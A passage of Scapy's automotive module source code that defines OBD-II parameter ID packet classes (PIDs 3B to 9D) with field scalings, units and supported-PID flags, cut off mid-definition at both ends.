OBD_PID3B(_OBD_PID34_3B): name = "PID_3B_OxygenSensor8" class OBD_PID3C(OBD_Packet): name = "PID_3C_CatalystTemperatureBank1Sensor1" fields_desc = [ ScalingField('data', 0, scaling=0.1, unit="deg. C", offset=-40.0, fmt="H") ] class OBD_PID3D(OBD_Packet): name = "PID_3D_CatalystTemperatureBank2Sensor1" fields_desc = [ ScalingField('data', 0, scaling=0.1, unit="deg. C", offset=-40.0, fmt="H") ] class OBD_PID3E(OBD_Packet): name = "PID_3E_CatalystTemperatureBank1Sensor2" fields_desc = [ ScalingField('data', 0, scaling=0.1, unit="deg. C", offset=-40.0, fmt="H") ] class OBD_PID3F(OBD_Packet): name = "PID_3F_CatalystTemperatureBank2Sensor2" fields_desc = [ ScalingField('data', 0, scaling=0.1, unit="deg. C", offset=-40.0, fmt="H") ] ================================================ FILE: scapy/contrib/automotive/obd/pid/pids_40_5F.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import ByteEnumField, BitField, FlagsField, XByteField, \ ScalingField, ThreeBytesField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID40(OBD_Packet): name = "PID_40_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PID60', 'PID5F', 'PID5E', 'PID5D', 'PID5C', 'PID5B', 'PID5A', 'PID59', 'PID58', 'PID57', 'PID56', 'PID55', 'PID54', 'PID53', 'PID52', 'PID51', 'PID50', 'PID4F', 'PID4E', 'PID4D', 'PID4C', 'PID4B', 'PID4A', 'PID49', 'PID48', 'PID47', 'PID46', 'PID45', 'PID44', 'PID43', 'PID42', 'PID41' ]) ] class OBD_PID41(OBD_Packet): name = "PID_41_MonitorStatusThisDriveCycle" onOff = { 0: 'off', 1: 'on' } fields_desc = [ XByteField('reserved', 0), BitField('reserved1', 0, 1), FlagsField('continuous_tests_ready', 0, 3, [ 'misfire', 'fuelSystem', 'components' ]), BitField('reserved2', 0, 1), FlagsField('continuous_tests_supported', 0, 3, [ 'misfire', 'fuelSystem', 'components' ]), FlagsField('once_per_trip_tests_supported', 0, 8, [ 'egr', 'oxygenSensorHeater', 'oxygenSensor', 'acSystemRefrigerant', 'secondaryAirSystem', 'evaporativeSystem', 'heatedCatalyst', 'catalyst' ]), FlagsField('once_per_trip_tests_ready', 0, 8, [ 'egr', 'oxygenSensorHeater', 'oxygenSensor', 'acSystemRefrigerant', 'secondaryAirSystem', 'evaporativeSystem', 'heatedCatalyst', 'catalyst' ]) ] class OBD_PID42(OBD_Packet): name = "PID_42_ControlModuleVoltage" fields_desc = [ ScalingField('data', 0, scaling=0.001, unit="V", fmt="H") ] class OBD_PID43(OBD_Packet): name = "PID_43_AbsoluteLoadValue" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%", fmt="H") ] class OBD_PID44(OBD_Packet): name = "PID_44_FuelAirCommandedEquivalenceRatio" fields_desc = [ ScalingField('data', 0, scaling=0.0000305, fmt="H") ] class _OBD_PercentPacket(OBD_Packet): fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID45(_OBD_PercentPacket): name = "PID_45_RelativeThrottlePosition" class OBD_PID46(OBD_Packet): name = "PID_46_AmbientAirTemperature" fields_desc = [ ScalingField('data', 0, unit="deg. C", offset=-40.0) ] class OBD_PID47(_OBD_PercentPacket): name = "PID_47_AbsoluteThrottlePositionB" class OBD_PID48(_OBD_PercentPacket): name = "PID_48_AbsoluteThrottlePositionC" class OBD_PID49(_OBD_PercentPacket): name = "PID_49_AcceleratorPedalPositionD" class OBD_PID4A(_OBD_PercentPacket): name = "PID_4A_AcceleratorPedalPositionE" class OBD_PID4B(_OBD_PercentPacket): name = "PID_4B_AcceleratorPedalPositionF" class OBD_PID4C(_OBD_PercentPacket): name = "PID_4C_CommandedThrottleActuator" class OBD_PID4D(OBD_Packet): name = "PID_4D_TimeRunWithMilOn" fields_desc = [ ScalingField('data', 0, unit="min", fmt="H") ] class OBD_PID4E(OBD_Packet): name = "PID_4E_TimeSinceTroubleCodesCleared" fields_desc = [ ScalingField('data', 0, unit="min", fmt="H") ] class OBD_PID4F(OBD_Packet): name = "PID_4F_VariousMaxValues" fields_desc = [ ScalingField('equivalence_ratio', 0), ScalingField('sensor_voltage', 0, unit="V"), ScalingField('sensor_current', 0, unit="mA"), ScalingField('intake_manifold_absolute_pressure', 0, scaling=10, unit="kPa") ] class OBD_PID50(OBD_Packet): name = "PID_50_MaximumValueForAirFlowRateFromMassAirFlowSensor" fields_desc = [ ScalingField('data', 0, scaling=10, unit="g/s"), ThreeBytesField('reserved', 0) ] class OBD_PID51(OBD_Packet): name = "PID_51_FuelType" fuelTypes = { 0: 'Not available', 1: 'Gasoline', 2: 'Methanol', 3: 'Ethanol', 4: 'Diesel', 5: 'LPG', 6: 'CNG', 7: 'Propane', 8: 'Electric', 9: 'Bifuel running Gasoline', 10: 'Bifuel running Methanol', 11: 'Bifuel running Ethanol', 12: 'Bifuel running LPG', 13: 'Bifuel running CNG', 14: 'Bifuel running Propane', 15: 'Bifuel running Electricity', 16: 'Bifuel running electric and combustion engine', 17: 'Hybrid gasoline', 18: 'Hybrid Ethanol', 19: 'Hybrid Diesel', 20: 'Hybrid Electric', 21: 'Hybrid running electric and combustion engine', 22: 'Hybrid Regenerative', 23: 'Bifuel running diesel'} fields_desc = [ ByteEnumField('data', 0, fuelTypes) ] class OBD_PID52(_OBD_PercentPacket): name = "PID_52_EthanolFuel" class OBD_PID53(OBD_Packet): name = "PID_53_AbsoluteEvapSystemVaporPressure" fields_desc = [ ScalingField('data', 0, scaling=1 / 200., unit="kPa", fmt="H") ] class OBD_PID54(OBD_Packet): name = "PID_54_EvapSystemVaporPressure" fields_desc = [ ScalingField('data', 0, unit="Pa", fmt="h") ] class _OBD_SensorTrimPacket1(OBD_Packet): fields_desc = [ ScalingField('bank1', 0, scaling=100 / 128., offset=-100, unit="%"), ScalingField('bank3', 0, scaling=100 / 128., offset=-100, unit="%") ] class _OBD_SensorTrimPacket2(OBD_Packet): fields_desc = [ ScalingField('bank2', 0, scaling=100 / 128., offset=-100, unit="%"), ScalingField('bank4', 0, scaling=100 / 128., offset=-100, unit="%") ] class OBD_PID55(_OBD_SensorTrimPacket1): name = "PID_55_ShortTermSecondaryOxygenSensorTrim" class OBD_PID56(_OBD_SensorTrimPacket1): name = "PID_56_LongTermSecondaryOxygenSensorTrim" class OBD_PID57(_OBD_SensorTrimPacket2): name = "PID_57_ShortTermSecondaryOxygenSensorTrim" class OBD_PID58(_OBD_SensorTrimPacket2): name = "PID_58_LongTermSecondaryOxygenSensorTrim" class OBD_PID59(OBD_Packet): name = "PID_59_FuelRailAbsolutePressure" fields_desc = [ ScalingField('data', 0, scaling=10, unit="kPa", fmt="H") ] class OBD_PID5A(_OBD_PercentPacket): name = "PID_5A_RelativeAcceleratorPedalPosition" class OBD_PID5B(_OBD_PercentPacket): name = "PID_5B_HybridBatteryPackRemainingLife" class OBD_PID5C(OBD_Packet): name = "PID_5C_EngineOilTemperature" fields_desc = [ ScalingField('data', 0, unit="deg. C", offset=-40.0) ] class OBD_PID5D(OBD_Packet): name = "PID_5D_FuelInjectionTiming" fields_desc = [ ScalingField('data', 0, scaling=1 / 128., offset=-210, unit="deg.", fmt="H") ] class OBD_PID5E(OBD_Packet): name = "PID_5E_EngineFuelRate" fields_desc = [ ScalingField('data', 0, scaling=0.05, unit="L/h", fmt="H") ] class OBD_PID5F(OBD_Packet): name = "PID_5F_EmissionRequirementsToWhichVehicleIsDesigned" emissionRequirementTypes = { 0xE: 'Heavy Duty Vehicles (EURO IV) B1', 0xF: 'Heavy Duty Vehicles (EURO V) B2', 0x10: 'Heavy Duty Vehicles (EURO EEV) C', } fields_desc = [ ByteEnumField('data', 0, emissionRequirementTypes) ] ================================================ FILE: scapy/contrib/automotive/obd/pid/pids_60_7F.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import BitField, FlagsField, ScalingField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID60(OBD_Packet): name = "PID_60_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PID80', 'PID7F', 'PID7E', 'PID7D', 'PID7C', 'PID7B', 'PID7A', 'PID79', 'PID78', 'PID77', 'PID76', 'PID75', 'PID74', 'PID73', 'PID72', 'PID71', 'PID70', 'PID6F', 'PID6E', 'PID6D', 'PID6C', 'PID6B', 'PID6A', 'PID69', 'PID68', 'PID67', 'PID66', 'PID65', 'PID64', 'PID63', 'PID62', 'PID61' ]) ] class OBD_PID61(OBD_Packet): name = "PID_61_DriverSDemandEnginePercentTorque" fields_desc = [ ScalingField('data', 0, unit="%", offset=-125.0) ] class OBD_PID62(OBD_Packet): name = "PID_62_ActualEnginePercentTorque" fields_desc = [ ScalingField('data', 0, unit="%", offset=-125.0) ] class OBD_PID63(OBD_Packet): name = "PID_63_EngineReferenceTorque" fields_desc = [ ScalingField('data', 0, unit="Nm", fmt="H") ] class OBD_PID64(OBD_Packet): name = "PID_64_EnginePercentTorqueData" fields_desc = [ ScalingField('at_point1', 0, unit="%", offset=-125.0), ScalingField('at_point2', 0, unit="%", offset=-125.0), ScalingField('at_point3', 0, unit="%", offset=-125.0), ScalingField('at_point4', 0, unit="%", offset=-125.0), ScalingField('at_point5', 0, unit="%", offset=-125.0) ] class OBD_PID65(OBD_Packet): name = "PID_65_AuxiliaryInputOutputSupported" fields_desc = [ BitField('reserved1', 0, 4), BitField('glow_plug_lamp_status_supported', 0, 1), BitField('manual_trans_neutral_drive_status_supported', 0, 1), BitField('auto_trans_neutral_drive_status_supported', 0, 1), BitField('power_take_off_status_supported', 0, 1), BitField('reserved2', 0, 4), BitField('glow_plug_lamp_status', 0, 1), BitField('manual_trans_neutral_drive_status', 0, 1), BitField('auto_trans_neutral_drive_status', 0, 1), BitField('power_take_off_status', 0, 1), ] class OBD_PID66(OBD_Packet): name = "PID_66_MassAirFlowSensor" fields_desc = [ BitField('reserved', 0, 6), BitField('sensor_b_supported', 0, 1), BitField('sensor_a_supported', 0, 1), ScalingField('sensor_a', 0, scaling=0.03125, unit="g/s", fmt="H"), ScalingField('sensor_b', 0, scaling=0.03125, unit="g/s", fmt="H"), ] class OBD_PID67(OBD_Packet): name = "PID_67_EngineCoolantTemperature" fields_desc = [ BitField('reserved', 0, 6), BitField('sensor2_supported', 0, 1), BitField('sensor1_supported', 0, 1), ScalingField('sensor1', 0, unit="deg. C", offset=-40.0), ScalingField('sensor2', 0, unit="deg. C", offset=-40.0) ] class OBD_PID68(OBD_Packet): name = "PID_68_IntakeAirTemperatureSensor" fields_desc = [ BitField('reserved', 0, 2), BitField('bank2_sensor3_supported', 0, 1), BitField('bank2_sensor2_supported', 0, 1), BitField('bank2_sensor1_supported', 0, 1), BitField('bank1_sensor3_supported', 0, 1), BitField('bank1_sensor2_supported', 0, 1), BitField('bank1_sensor1_supported', 0, 1), ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), ScalingField('bank1_sensor3', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor3', 0, unit="deg. C", offset=-40) ] class OBD_PID69(OBD_Packet): name = "PID_69_CommandedEgrAndEgrError" fields_desc = [ BitField('reserved', 0, 2), BitField('egr_b_error_supported', 0, 1), BitField('actual_egr_b_duty_cycle_supported', 0, 1), BitField('commanded_egr_b_duty_cycle_supported', 0, 1), BitField('egr_a_error_supported', 0, 1), BitField('actual_egr_a_duty_cycle_supported', 0, 1), BitField('commanded_egr_a_duty_cycle_supported', 0, 1), ScalingField('commanded_egr_a_duty_cycle', 0, scaling=100 / 255., unit="%"), ScalingField('actual_egr_a_duty_cycle', 0, scaling=100 / 255., unit="%"), ScalingField('egr_a_error', 0, scaling=100 / 128., unit="%", offset=-100), ScalingField('commanded_egr_b_duty_cycle', 0, scaling=100 / 255., unit="%"), ScalingField('actual_egr_b_duty_cycle', 0, scaling=100 / 255., unit="%"), ScalingField('egr_b_error', 0, scaling=100 / 128., unit="%", offset=-100), ] class OBD_PID6A(OBD_Packet): name = "PID_6A_CommandedDieselIntakeAirFlowControl" \ "AndRelativeIntakeAirFlowPosition" fields_desc = [ BitField('reserved', 0, 4), BitField('relative_intake_air_flow_b_position_supported', 0, 1), BitField('commanded_intake_air_flow_b_control_supported', 0, 1), BitField('relative_intake_air_flow_a_position_supported', 0, 1), BitField('commanded_intake_air_flow_a_control_supported', 0, 1), ScalingField('commanded_intake_air_flow_a_control', 0, scaling=100 / 255., unit="%"), ScalingField('relative_intake_air_flow_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('commanded_intake_air_flow_b_control', 0, scaling=100 / 255., unit="%"), ScalingField('relative_intake_air_flow_b_position', 0, scaling=100 / 255., unit="%"), ] class OBD_PID6B(OBD_Packet): name = "PID_6B_ExhaustGasRecirculationTemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('bank2_sensor2_supported', 0, 1), BitField('bank2_sensor1_supported', 0, 1), BitField('bank1_sensor2_supported', 0, 1), BitField('bank1_sensor1_supported', 0, 1), ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), ] class OBD_PID6C(OBD_Packet): name = "PID_6C_CommandedThrottleActuatorControlAndRelativeThrottlePosition" fields_desc = [ BitField('reserved', 0, 4), BitField('relative_throttle_b_position_supported', 0, 1), BitField('commanded_throttle_actuator_b_control_supported', 0, 1), BitField('relative_throttle_a_position_supported', 0, 1), BitField('commanded_throttle_actuator_a_control_supported', 0, 1), ScalingField('commanded_throttle_actuator_a_control', 0, scaling=100 / 255., unit="%"), ScalingField('relative_throttle_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('commanded_throttle_actuator_b_control', 0, scaling=100 / 255., unit="%"), ScalingField('relative_throttle_b_position', 0, scaling=100 / 255., unit="%"), ] class OBD_PID6D(OBD_Packet): name = "PID_6D_FuelPressureControlSystem" fields_desc = [ BitField('reserved', 0, 5), BitField('fuel_temperature_supported', 0, 1), BitField('fuel_rail_pressure_supported', 0, 1), BitField('commanded_fuel_rail_pressure_supported', 0, 1), ScalingField('commanded_fuel_rail_pressure', 0, scaling=10, unit="kPa", fmt='H'), ScalingField('fuel_rail_pressure', 0, scaling=10, unit="kPa", fmt='H'), ScalingField('fuel_rail_temperature', 0, unit="deg. C", offset=-40) ] class OBD_PID6E(OBD_Packet): name = "PID_6E_InjectionPressureControlSystem" fields_desc = [ BitField('reserved', 0, 6), BitField('injection_control_pressure_supported', 0, 1), BitField('commanded_injection_control_pressure_supported', 0, 1), ScalingField('commanded_injection_control_pressure', 0, scaling=10, unit="kPa", fmt='H'), ScalingField('injection_control_pressure', 0, scaling=10, unit="kPa", fmt='H'), ] class OBD_PID6F(OBD_Packet): name = "PID_6F_TurbochargerCompressorInletPressure" fields_desc = [ BitField('reserved', 0, 6), BitField('sensor_b_supported', 0, 1), BitField('sensor_a_supported', 0, 1), ScalingField('sensor_a', 0, unit="kPa"), ScalingField('sensor_b', 0, unit="kPa"), ] class OBD_PID70(OBD_Packet): name = "PID_70_BoostPressureControl" fields_desc = [ BitField('reserved', 0, 4), BitField('boost_pressure_sensor_b_supported', 0, 1), BitField('commanded_boost_pressure_b_supported', 0, 1), BitField('boost_pressure_sensor_a_supported', 0, 1), BitField('commanded_boost_pressure_a_supported', 0, 1), ScalingField('commanded_boost_pressure_a', 0, scaling=0.03125, unit="kPa", fmt='H'), ScalingField('boost_pressure_sensor_a', 0, scaling=0.03125, unit="kPa", fmt='H'), ScalingField('commanded_boost_pressure_b', 0, scaling=0.03125, unit="kPa", fmt='H'), ScalingField('boost_pressure_sensor_b', 0, scaling=0.03125, unit="kPa", fmt='H'), ] class OBD_PID71(OBD_Packet): name = "PID_71_VariableGeometryTurboControl" fields_desc = [ BitField('reserved', 0, 4), BitField('vgt_b_position_supported', 0, 1), BitField('commanded_vgt_b_position_supported', 0, 1), BitField('vgt_a_position_supported', 0, 1), BitField('commanded_vgt_a_position_supported', 0, 1), ScalingField('commanded_variable_geometry_turbo_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('variable_geometry_turbo_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('commanded_variable_geometry_turbo_b_position', 0, scaling=100 / 255., unit="%"), ScalingField('variable_geometry_turbo_b_position', 0, scaling=100 / 255., unit="%"), ] class OBD_PID72(OBD_Packet): name = "PID_72_WastegateControl" fields_desc = [ BitField('reserved', 0, 4), BitField('wastegate_b_position_supported', 0, 1), BitField('commanded_wastegate_b_position_supported', 0, 1), BitField('wastegate_a_position_supported', 0, 1), BitField('commanded_wastegate_a_position_supported', 0, 1), ScalingField('commanded_wastegate_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('wastegate_a_position', 0, scaling=100 / 255., unit="%"), ScalingField('commanded_wastegate_b_position', 0, scaling=100 / 255., unit="%"), ScalingField('wastegate_b_position', 0, scaling=100 / 255., unit="%"), ] class OBD_PID73(OBD_Packet): name = "PID_73_ExhaustPressure" fields_desc = [ BitField('reserved', 0, 6), BitField('sensor_bank2_supported', 0, 1), BitField('sensor_bank1_supported', 0, 1), ScalingField('sensor_bank1', 0, scaling=0.01, unit="kPa", fmt='H'), ScalingField('sensor_bank2', 0, scaling=0.01, unit="kPa", fmt='H'), ] class OBD_PID74(OBD_Packet): name = "PID_74_TurbochargerRpm" fields_desc = [ BitField('reserved', 0, 6), BitField('b_supported', 0, 1), BitField('a_supported', 0, 1), ScalingField('a_rpm', 0, unit="min-1", fmt='H'), ScalingField('b_rpm', 0, unit="min-1", fmt='H'), ] class OBD_PID75(OBD_Packet): name = "PID_75_TurbochargerATemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('turbo_a_turbine_outlet_temperature_supported', 0, 1), BitField('turbo_a_turbine_inlet_temperature_supported', 0, 1), BitField('turbo_a_compressor_outlet_temperature_supported', 0, 1), BitField('turbo_a_compressor_inlet_temperature_supported', 0, 1), ScalingField('turbocharger_a_compressor_inlet_temperature', 0, unit="deg. C", offset=-40), ScalingField('turbocharger_a_compressor_outlet_temperature', 0, unit="deg. C", offset=-40), ScalingField('turbocharger_a_turbine_inlet_temperature', 0, unit="deg. C", offset=-40, fmt='H', scaling=0.1), ScalingField('turbocharger_a_turbine_outlet_temperature', 0, unit="deg. C", offset=-40, fmt='H', scaling=0.1), ] class OBD_PID76(OBD_Packet): name = "PID_76_TurbochargerBTemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('turbo_a_turbine_outlet_temperature_supported', 0, 1), BitField('turbo_a_turbine_inlet_temperature_supported', 0, 1), BitField('turbo_a_compressor_outlet_temperature_supported', 0, 1), BitField('turbo_a_compressor_inlet_temperature_supported', 0, 1), ScalingField('turbocharger_a_compressor_inlet_temperature', 0, unit="deg. C", offset=-40), ScalingField('turbocharger_a_compressor_outlet_temperature', 0, unit="deg. C", offset=-40), ScalingField('turbocharger_a_turbine_inlet_temperature', 0, unit="deg. C", offset=-40, fmt='H', scaling=0.1), ScalingField('turbocharger_a_turbine_outlet_temperature', 0, unit="deg. C", offset=-40, fmt='H', scaling=0.1), ] class OBD_PID77(OBD_Packet): name = "PID_77_ChargeAirCoolerTemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('bank2_sensor2_supported', 0, 1), BitField('bank2_sensor1_supported', 0, 1), BitField('bank1_sensor2_supported', 0, 1), BitField('bank1_sensor1_supported', 0, 1), ScalingField('bank1_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank1_sensor2', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor1', 0, unit="deg. C", offset=-40), ScalingField('bank2_sensor2', 0, unit="deg. C", offset=-40), ] class _OBD_PID_ExhaustGasTemperatureBank(OBD_Packet): fields_desc = [ BitField('reserved', 0, 4), BitField('sensor4_supported', 0, 1), BitField('sensor3_supported', 0, 1), BitField('sensor2_supported', 0, 1), BitField('sensor1_supported', 0, 1), ScalingField('sensor1', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('sensor2', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('sensor3', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('sensor4', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ] class OBD_PID78(_OBD_PID_ExhaustGasTemperatureBank): name = "PID_78_ExhaustGasTemperatureBank1" class OBD_PID79(_OBD_PID_ExhaustGasTemperatureBank): name = "PID_79_ExhaustGasTemperatureBank2" class _OBD_PID_DieselParticulateFilter(OBD_Packet): fields_desc = [ BitField('reserved', 0, 5), BitField('outlet_pressure_supported', 0, 1), BitField('inlet_pressure_supported', 0, 1), BitField('delta_pressure_supported', 0, 1), ScalingField('delta_pressure', 0, unit='kPa', offset=-327.68, scaling=0.01, fmt='H'), ScalingField('particulate_filter', 0, unit='kPa', scaling=0.01, fmt='H'), ScalingField('outlet_pressure', 0, unit='kPa', scaling=0.01, fmt='H'), ] class OBD_PID7A(_OBD_PID_DieselParticulateFilter): name = "PID_7A_DieselParticulateFilter1" class OBD_PID7B(_OBD_PID_DieselParticulateFilter): name = "PID_7B_DieselParticulateFilter2" class OBD_PID7C(OBD_Packet): name = "PID_7C_DieselParticulateFilterTemperature" fields_desc = [ BitField('reserved', 0, 4), BitField('bank2_outlet_temperature_supported', 0, 1), BitField('bank2_inlet_temperature_supported', 0, 1), BitField('bank1_outlet_temperature_supported', 0, 1), BitField('bank1_inlet_temperature_supported', 0, 1), ScalingField('bank1_inlet_temperature_sensor', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('bank1_outlet_temperature_sensor', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('bank2_inlet_temperature_sensor', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ScalingField('bank2_outlet_temperature_sensor', 0, unit="deg. C", offset=-40, scaling=0.1, fmt='H'), ] class OBD_PID7D(OBD_Packet): name = "PID_7D_NoxNteControlAreaStatus" fields_desc = [ BitField('reserved', 0, 4), BitField('nte_deficiency_for_nox_active_area', 0, 1), BitField('inside_manufacturer_specific_nox_nte_carve_out_area', 0, 1), BitField('outside', 0, 1), BitField('inside', 0, 1), ] class OBD_PID7E(OBD_Packet): name = "PID_7E_PmNteControlAreaStatus" fields_desc = [ BitField('reserved', 0, 4), BitField('nte_deficiency_for_pm_active_area', 0, 1), BitField('inside_manufacturer_specific_pm_nte_carve_out_area', 0, 1), BitField('outside', 0, 1), BitField('inside', 0, 1), ] class OBD_PID7F(OBD_Packet): name = "PID_7F_EngineRunTime" fields_desc = [ BitField('reserved', 0, 5), BitField('total_with_pto_active_supported', 0, 1), BitField('total_idle_supported', 0, 1), BitField('total_supported', 0, 1), ScalingField('total', 0, unit='sec', fmt='Q'), ScalingField('total_idle', 0, unit='sec', fmt='Q'), ScalingField('total_with_pto_active', 0, unit='sec', fmt='Q'), ] ================================================ FILE: scapy/contrib/automotive/obd/pid/pids_80_9F.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import StrFixedLenField, FlagsField, ScalingField, BitField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID80(OBD_Packet): name = "PID_80_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PIDA0', 'PID9F', 'PID9E', 'PID9D', 'PID9C', 'PID9B', 'PID9A', 'PID99', 'PID98', 'PID97', 'PID96', 'PID95', 'PID94', 'PID93', 'PID92', 'PID91', 'PID90', 'PID8F', 'PID8E', 'PID8D', 'PID8C', 'PID8B', 'PID8A', 'PID89', 'PID88', 'PID87', 'PID86', 'PID85', 'PID84', 'PID83', 'PID82', 'PID81' ]) ] class OBD_PID81(OBD_Packet): name = "PID_81_EngineRunTimeForAuxiliaryEmissionsControlDevice" fields_desc = [ BitField('reserved', 0, 3), BitField('total_run_time_with_ei_aecd5_supported', 0, 1), BitField('total_run_time_with_ei_aecd4_supported', 0, 1), BitField('total_run_time_with_ei_aecd3_supported', 0, 1), BitField('total_run_time_with_ei_aecd2_supported', 0, 1), BitField('total_run_time_with_ei_aecd1_supported', 0, 1), ScalingField('total_run_time_with_ei_aecd1', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd2', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd3', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd4', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd5', 0, unit='sec', fmt='Q'), ] class OBD_PID82(OBD_Packet): name = "PID_82_EngineRunTimeForAuxiliaryEmissionsControlDevice" fields_desc = [ BitField('reserved', 0, 3), BitField('total_run_time_with_ei_aecd10_supported', 0, 1), BitField('total_run_time_with_ei_aecd9_supported', 0, 1), BitField('total_run_time_with_ei_aecd8_supported', 0, 1), BitField('total_run_time_with_ei_aecd7_supported', 0, 1), BitField('total_run_time_with_ei_aecd6_supported', 0, 1), ScalingField('total_run_time_with_ei_aecd6', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd7', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd8', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd9', 0, unit='sec', fmt='Q'), ScalingField('total_run_time_with_ei_aecd10', 0, unit='sec', fmt='Q'), ] class OBD_PID83(OBD_Packet): name = "PID_83_NOxSensor" fields_desc = [ BitField('reserved', 0, 6), BitField('nox_sensor_concentration_bank2_sensor1_supported', 0, 1), BitField('nox_sensor_concentration_bank1_sensor1_supported', 0, 1), ScalingField('nox_sensor_concentration_bank1_sensor1', 0, unit='ppm', fmt='H'), ScalingField('nox_sensor_concentration_bank2_sensor1', 0, unit='ppm', fmt='H'), ] class OBD_PID84(OBD_Packet): name = "PID_84_ManifoldSurfaceTemperature" fields_desc = [ StrFixedLenField('data', b'', 1) ] class OBD_PID85(OBD_Packet): name = "PID_85_NoxReagentSystem" fields_desc = [ StrFixedLenField('data', b'', 10) ] class OBD_PID86(OBD_Packet): name = "PID_86_ParticulateMatterSensor" fields_desc = [ StrFixedLenField('data', b'', 5) ] class OBD_PID87(OBD_Packet): name = "PID_87_IntakeManifoldAbsolutePressure" fields_desc = [ StrFixedLenField('data', b'', 5) ] class OBD_PID88(OBD_Packet): name = "PID_88_ScrInduceSystem" fields_desc = [ StrFixedLenField('data', b'', 13) ] class OBD_PID89(OBD_Packet): # 11 - 15 name = "PID_89_RunTimeForAecd" fields_desc = [ StrFixedLenField('data', b'', 41) ] class OBD_PID8A(OBD_Packet): # 16 - 20 name = "PID_8A_RunTimeForAecd" fields_desc = [ StrFixedLenField('data', b'', 41) ] class OBD_PID8B(OBD_Packet): name = "PID_8B_DieselAftertreatment" fields_desc = [ StrFixedLenField('data', b'', 7) ] class OBD_PID8C(OBD_Packet): name = "PID_8C_O2Sensor" fields_desc = [ StrFixedLenField('data', b'', 16) ] class OBD_PID8D(OBD_Packet): name = "PID_8D_ThrottlePositionG" fields_desc = [ StrFixedLenField('data', b'', 1) ] class OBD_PID8E(OBD_Packet): name = "PID_8E_EngineFrictionPercentTorque" fields_desc = [ StrFixedLenField('data', b'', 1) ] class OBD_PID8F(OBD_Packet): name = "PID_8F_PmSensorBank1And2" fields_desc = [ StrFixedLenField('data', b'', 5) ] class OBD_PID90(OBD_Packet): name = "PID_90_WwhObdVehicleObdSystemInformation" fields_desc = [ StrFixedLenField('data', b'', 3) ] class OBD_PID91(OBD_Packet): name = "PID_91_WwhObdVehicleObdSystemInformation" fields_desc = [ StrFixedLenField('data', b'', 5) ] class OBD_PID92(OBD_Packet): name = "PID_92_FuelSystemControl" fields_desc = [ StrFixedLenField('data', b'', 2) ] class OBD_PID93(OBD_Packet): name = "PID_93_WwhObdVehicleObdCountersSupport" fields_desc = [ StrFixedLenField('data', b'', 3) ] class OBD_PID94(OBD_Packet): name = "PID_94_NoxWarningAndInducementSystem" fields_desc = [ StrFixedLenField('data', b'', 12) ] class OBD_PID98(OBD_Packet): name = "PID_98_ExhaustGasTemperatureSensor" fields_desc = [ StrFixedLenField('data', b'', 9) ] class OBD_PID99(OBD_Packet): name = "PID_99_ExhaustGasTemperatureSensor" fields_desc = [ StrFixedLenField('data', b'', 9) ] class OBD_PID9A(OBD_Packet): name = "PID_9A_HybridEvVehicleSystemDataBatteryVoltage" fields_desc = [ StrFixedLenField('data', b'', 6) ] class OBD_PID9B(OBD_Packet): name = "PID_9B_DieselExhaustFluidSensorData" fields_desc = [ StrFixedLenField('data', b'', 4) ] class OBD_PID9C(OBD_Packet): name = "PID_9C_O2SensorData" fields_desc = [ StrFixedLenField('data', b'', 17) ] class OBD_PID9D(OBD_Packet): name = "PID_9D_EngineFuelRate" fields_desc = 